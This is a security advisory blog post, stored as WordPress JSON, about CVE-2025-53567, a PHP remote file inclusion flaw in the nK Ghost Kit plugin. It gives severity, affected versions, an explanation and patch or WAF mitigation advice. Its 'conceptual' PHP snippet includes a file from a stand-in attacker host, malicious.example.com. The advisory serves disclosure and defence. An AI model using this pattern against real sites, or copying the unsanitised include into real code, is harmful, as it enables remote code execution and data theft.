{"id":71760,"date":"2025-09-06T12:01:34","date_gmt":"2025-09-06T12:01:34","guid":{"rendered":""},"modified":"2025-09-08T05:54:45","modified_gmt":"2025-09-08T11:54:45","slug":"cve-2025-53567-high-severity-php-remote-file-inclusion-vulnerability-in-nk-ghost-kit","status":"publish","type":"post","link":"https:\/\/www.ameeba.com\/blog\/cve-2025-53567-high-severity-php-remote-file-inclusion-vulnerability-in-nk-ghost-kit\/","title":{"rendered":"<strong>CVE-2025-53567: High Severity PHP Remote File Inclusion Vulnerability in nK Ghost Kit<\/strong>"},"content":{"rendered":"<p><strong>Overview<\/strong><\/p>\n<p>The newly discovered vulnerability, designated as CVE-2025-53567, poses a critical threat to websites using the nK Ghost Kit plugin. This PHP Remote File Inclusion vulnerability allows an attacker to execute arbitrary code on the server, potentially leading to system compromise or data leakage. Given the popularity of PHP and nK Ghost Kit in web development, this issue could affect a significant number of websites worldwide, <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-42957-critical-backdoor-vulnerability-in-sap-s-4hana-exposes-systems-to-potential-compromise\/\"  data-wpil-monitor-id=\"79595\">potentially exposing<\/a> a large amount of sensitive data.<\/p>\n<p><strong>Vulnerability Summary<\/strong><\/p>\n<p>CVE ID: CVE-2025-53567<br \/>\nSeverity: High (CVSS: 8.1)<br \/>\nAttack Vector: Network<br \/>\nPrivileges Required: None<br \/>\nUser Interaction: None<br \/>\nImpact: <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-54788-sql-injection-vulnerability-in-suitecrm-leading-to-potential-system-compromise-or-data-leakage\/\"  data-wpil-monitor-id=\"80192\">System compromise or data<\/a> leakage<\/p>\n<p><strong>Affected Products<\/strong><\/p><div id=\"ameeb-4069817811\" class=\"ameeb-content-2 ameeb-entity-placement\"><div style=\"border-left: 4px solid #555; padding-left: 20px; margin: 48px 0; font-family: Roboto, sans-serif; color: #ffffff; line-height: 1.6; max-width: 720px;\">\r\n  <h2 style=\"margin-top: 0; font-size: 22px; font-weight: 600; display: flex; align-items: center; letter-spacing: -0.02em;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"display: inline-flex; align-items: center; margin-right: 10px;\">\r\n      <img decoding=\"async\" src=\"https:\/\/www.ameeba.com\/blog\/wp-content\/uploads\/2025\/10\/Best-App-icon-Ameeba.png\" alt=\"Ameeba Chat Icon\" style=\"width: 42px; height: 42px;\" \/>\r\n    <\/a>\r\n    Share secrets securely\r\n  <\/h2>\r\n\r\n  <p style=\"margin-bottom: 14px; color: #d1d5db;\">\r\n    Ameeba is private infrastructure for communication and sensitive work built on encrypted identity instead of exposed corporate identity systems.\r\n  <\/p>\r\n\r\n  <p style=\"margin-bottom: 18px; color: #a1a1aa;\">\r\n    Passwords, credentials, confidential files, screenshots, internal discussions, sensitive AI context, and private coordination should not become exposed across ordinary communication platforms.\r\n  <\/p>\r\n\r\n  <ul style=\"list-style: none; padding-left: 0; margin-bottom: 24px; color: #e4e4e7;\">\r\n    <li style=\"margin-bottom: 8px;\">\u2022 Encrypted identity<\/li>\r\n    <li style=\"margin-bottom: 8px;\">\u2022 Private Spaces for organizations and teams<\/li>\r\n    <li style=\"margin-bottom: 8px;\">\u2022 End-to-end encrypted chat, calls, files, and notes<\/li>\r\n    <li style=\"margin-bottom: 8px;\">\u2022 Sensitive AI work and protected collaboration<\/li>\r\n    <li>\u2022 Built for information that cannot leak<\/li>\r\n  <\/ul>\r\n\r\n  <p style=\"font-style: italic; font-weight: 600; margin-bottom: 24px; color: #ffffff;\">\r\n    Our mission is to secure human work alongside AI.\r\n  <\/p>\r\n\r\n  <div style=\"display: flex; flex-wrap: wrap; gap: 12px;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\/download\" style=\"background-color: #ffffff; color: #000000; padding: 10px 20px; text-decoration: none; border-radius: 8px; font-weight: 500;\">\r\n      Download Ameeba\r\n    <\/a>\r\n\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"border: 1px solid #ffffff; color: #ffffff; padding: 10px 20px; text-decoration: none; border-radius: 8px; font-weight: 500;\">\r\n      Learn More\r\n    <\/a>\r\n  <\/div>\r\n<\/div><\/div>\n<p>Product | Affected Versions<\/p>\n<p>nK Ghost Kit | Up to and including 3.4.1<\/p>\n<p><strong>How the Exploit Works<\/strong><\/p>\n<p>The vulnerability stems from an <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-53763-improper-access-control-in-azure-databricks-leading-to-potential-system-compromise\/\"  data-wpil-monitor-id=\"79812\">improper control<\/a> of filename for Include\/Require Statement in the PHP program within nK Ghost Kit. This <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-24325-improper-input-validation-in-intel-r-800-series-ethernet-driver-allows-potential-escalation-of-privilege\/\"  data-wpil-monitor-id=\"80470\">allows an attacker to manipulate the input<\/a> data and include a remote file from an external server. When the server processes the request, the malicious PHP <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-54135-critical-remote-code-execution-vulnerability-in-cursor-code-editor\/\"  data-wpil-monitor-id=\"79569\">code contained in the remote file is executed<\/a>.<\/p>\n<p><strong>Conceptual Example Code<\/strong><\/p><div id=\"ameeb-3668057802\" class=\"ameeb-content ameeb-entity-placement\"><div class=\"poptin-embedded\" data-id=\"f6b387694f681\"><\/div>\r\n\r\n\r\n\r\n\r\n\r\n<\/div>\n<p>The following pseudocode provides a conceptual understanding of how this exploit might be executed.<\/p>\n<pre><code class=\"\" data-line=\"\">&lt;?php\n\/\/ The attacker-controlled variable that contains the URL of the remote file\n$attacker_controlled_url = &quot;http:\/\/malicious.example.com\/malicious_file.php&quot;;\n\/\/ The vulnerable include\/require statement\ninclude($attacker_controlled_url);\n?&gt;<\/code><\/pre>\n<p>In this example, the attacker has control over the `$attacker_controlled_url` variable. When the include statement is executed, the PHP interpreter fetches the file from `http:\/\/malicious.example.com\/malicious_file.php` and <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-23264-critical-vulnerability-in-nvidia-megatron-lm-may-lead-to-code-execution-and-data-tampering\/\"  data-wpil-monitor-id=\"79907\">executes its content as PHP code<\/a>. If the malicious file contains code for a shell command or data exfiltration, it can <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-47136-integer-underflow-vulnerability-in-indesign-desktop-versions-leading-to-potential-system-compromise\/\"  data-wpil-monitor-id=\"79726\">lead to system<\/a> compromise or data leakage.<\/p>\n<p><strong>Mitigation<\/strong><\/p>\n<p>As a temporary mitigation measure, a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can be <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-52095-privilege-escalation-vulnerability-in-pdq-smart-deploy-v-3-0-2040\/\"  data-wpil-monitor-id=\"79631\">deployed to block attempts to exploit this vulnerability<\/a>. However, the most effective solution is to apply the vendor-supplied patch. If you are using an affected version of nK Ghost Kit, it is recommended to update it immediately to protect your <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-40920-weak-cryptographic-source-in-data-uuid-leads-to-potential-system-compromise\/\"  data-wpil-monitor-id=\"79852\">system from potential<\/a> attacks.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Overview The newly discovered vulnerability, designated as CVE-2025-53567, poses a critical threat to websites using the nK Ghost Kit plugin. This PHP Remote File Inclusion vulnerability allows an attacker to execute arbitrary code on the server, potentially leading to system compromise or data leakage. Given the popularity of PHP and nK Ghost Kit in web [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"om_disable_all_campaigns":false,"footnotes":""},"categories":[1],"tags":[],"vendor":[],"product":[],"attack_vector":[],"asset_type":[],"severity":[],"exploit_status":[],"class_list":["post-71760","post","type-post","status-publish","format-standard","hentry","category-uncategorized"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/71760","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/comments?post=71760"}],"version-history":[{"count":9,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/71760\/revisions"}],"predecessor-version":[{"id":72890,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/71760\/revisions\/72890"}],"wp:attachment":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/media?parent=71760"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/categories?post=71760"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/tags?post=71760"},{"taxonomy":"vendor","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/vendor?post=71760"},{"taxonomy":"product","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/product?post=71760"},{"taxonomy":"attack_vector","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/attack_vector?post=71760"},{"taxonomy":"asset_type","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/asset_type?post=71760"},{"taxonomy":"severity","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/severity?post=71760"},{"taxonomy":"exploit_status","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/exploit_status?post=71760"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}